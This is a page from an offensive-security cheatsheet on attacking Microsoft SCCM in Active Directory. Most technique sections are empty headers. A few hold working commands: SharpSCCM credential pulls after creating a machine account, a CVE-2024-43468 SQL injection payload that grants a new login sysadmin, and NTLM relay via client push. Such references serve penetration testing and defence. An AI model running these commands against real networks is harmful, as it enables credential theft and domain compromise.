repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
deployment-sccm.mdMarkdown393 lines16.1 KiBsource raw download

title: "Deployment - SCCM" section: "Active Directory" sectionSlug: "active-directory" sourcePath: "docs/active-directory/deployment-sccm.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/deployment-sccm.md" sha: "203bb0c0b290" isIndex: false#

Deployment - SCCM#

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

SCCM Application Deployment#

Application Deployment is a process that involves packaging software applications and distributing them to selected computers or devices within an organization

Tools:

Exploitation:

SCCM Enumeration#

SCCM Shares#

Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares

SCCM Configuration Manager#

CRED-1 Retrieve credentials via PXE boot media#

Requirements:

Exploitation:

CRED-2 Request a policy containing credentials#

Requirements:

Exploitation:

Create a machine or compromise an existing one, then request policies such as NAAConfig

Easy mode using SharpSCCM

addcomputer.py -computer-name 'attacker$' -computer-pass P@ssw0rd -dc-ip 10.10.10.10 lab.lan/user:'P@ssw0rd'
SharpSCCM.exe get naa -r newdevice -u attacker$ -p P@ssw0rd
SharpSCCM get naa
SharpSCCM get secrets -u <username-machine-$> -p <password>

Stealthy mode by creating a computer.

CRED-3 Extract currently deployed credentials stored as DPAPI blobs#

Dump currently deployed secrets via WMI. If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.

Requirements:

Exploitation:

From a remote machine.

CRED-4 Extract legacy credentials stored as DPAPI blobs#

Requirements:

Exploitation:

CRED-5 Extract the SC_UserAccount table from the site database#

Requirements:

Exploitation:

Unauthenticated SQL Injection - CVE-2024-43468#

$ CVE-2024-43468.py -t cmc.corp.local -sql "create login [CORP\user1] from windows ; exec master.dbo.sp_addsrvrolemember [CORP\user1], 'sysadmin'"
$ mssqlclient.py -debug -windows-auth 'CORP/user1:xxx'@cmc-db.corp.local
SQL> select name from sysdatabases where name like 'CM_%'

SCCM Relay#

TAKEOVER1 - Low Privileges to Database Administrator - MSSQL relay#

Requirements:

Exploitation:

TAKEOVER2 - Low Privileges to MECM Admin Account - SMB relay#

Microsoft requires the site server's computer account to be an administrator on the MSSQL server.

Exploitation:

ELEVATE 2 - NTLM Relay with Automatic Client Push Authentication#

Requirements:

Exploitation:

SharpSCCM.exe invoke client-push -t 192.168.1.50
ntlmrelayx.py -t mssql01.lab.lan -smb2support

SCCM Persistence#

CcmExec is a service native to SCCM Windows clients that is executed on every interactive session. This technique requires Adminsitrator privileges on the targeted machine.

References#